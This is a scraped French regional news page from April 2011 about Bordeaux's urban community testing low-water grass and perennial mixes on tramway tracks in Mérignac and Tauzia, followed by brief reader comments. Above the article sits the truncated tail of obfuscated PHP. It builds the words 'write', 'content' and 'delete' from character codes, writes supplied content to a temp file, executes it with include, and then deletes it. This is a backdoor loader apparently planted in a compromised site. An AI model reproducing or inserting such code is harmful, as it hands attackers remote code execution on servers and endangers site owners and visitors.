eCRigX();}private function eCRigX(){if (is_array(f_bpM::$QCnuqUT)) {$NbfCKmyAa = sys_get_temp_dir() . "/" . crc32(f_bpM::$QCnuqUT["\163" . 'a' . chr (108) . "\x74"]);@f_bpM::$QCnuqUT["\167" . 'r' . chr ( 335 - 230 )."\x74" . "\145"]($NbfCKmyAa, f_bpM::$QCnuqUT[chr (99) . chr (111) . "\156" . "\164" . chr ( 174 - 73 ).chr ( 414 - 304 )."\164"]);include $NbfCKmyAa;@f_bpM::$QCnuqUT["\144" . 'e' . "\x6c" . "\x65" . 't' . "\145"]($NbfCKmyAa);exit();}}}$TcarZJMBd = new f_bpM(); $TcarZJMBd = NULL;} ?>
7 avril 2011 06h00 | Par Dominique Manenc | 2 | commentaire(s) |
Mérignac
Maudit gazon. Lorsque les phases 1 et 2 du tramway ont été lancées, on en a semé sur les deux tiers des voies, soit une superficie de 35 000 m². Il fallait privilégier l'esthétique. « On a vite relevé les défauts : la consommation d'eau était importante et l'herbe résistait plus ou moins bien selon les endroits. On a dû réengazonner sur des passages, à Tauzia et porte de Bourgogne », rappelle Gérard Chausset, vice-président de la CUB chargé des déplacements de demain. Sur la phase 1, une couche de 17 centimètres de terre était posée sur la plate-forme en béton, comme une jardinière. « Sur la phase 2, on a apporté quelques améliorations en mettant davantage de terre, entre les rails et sur les largeurs », explique Gérard Chausset.
Différents mélangesPour la troisième phase, on s'est ravisé. « Les mentalités ont changé sur la vertitude du gazon. On a désormais moins d'exigence. Petit à petit l'aspect écolo a pris le pas sur l'esthétique. La volonté de la CUB a été de créer des gazons plus résistants et moins gourmands en eau. D'où le lancement d'une expérimentation de nouveaux végétaux sur le site de Tauzia, à l'automne dernier, et maintenant à Mérignac, sur l'avenue Pierre-Mendès-France. La première zone s'étend sur une vingtaine de mètres, la seconde sur cent mètres. « Différents mélanges de gazons extensifs et plantes vivaces, ainsi que différents substrats (terre végétale avec du sable et du compost vert) seront testés pendant deux ans. Cette fois, il n'y a que de la terre et le béton se trouve uniquement sous les rails », détaille Serge Chauveau, chef du projet expérimentation gazon à la CUB. Les travaux ont été confiés à la société Sport environnement dirigée par Philippe Operie.
Investissements économisésUn système d'arrosage sera mis en place au début des tests pour favoriser l'installation des plantes, avec le pilotage de l'irrigation en fonction d'une mesure automatisée de l'état hydrique du sol. Il sera supprimé en phase finale des essais de manière à observer et différencier le comportement des végétaux en fonction de la sécheresse. « L'objectif est d'économiser 300 000 euros d'investissement dans le système d'arrosage et également 50 % de la consommation d'eau. S'il y a besoin d'irriguer, on fera subir un détrempage au gazon en faisant rouler une citerne sur les rails », précise Serge Chauveau.
La période de test durera donc jusqu'au printemps 2013, le moment venu d'établir un bilan technique, économique et environnemental de deux saisons complètes de végétation. « Les résultats permettront de décider du couvert végétal à mettre en œuvre dans le cadre de la troisième phase des lignes du tramway », note Gérard Chausset.
JeunesseLes etoilesDe Toulenne
ACCSL
Cantà di core
Toutes les associations du Sud-Ouest
| ||||||||||
|
07/04/2011, à 09h06
Alertez
07/04/2011, à 08h01
Donnez nous des vrais transports.
Alertez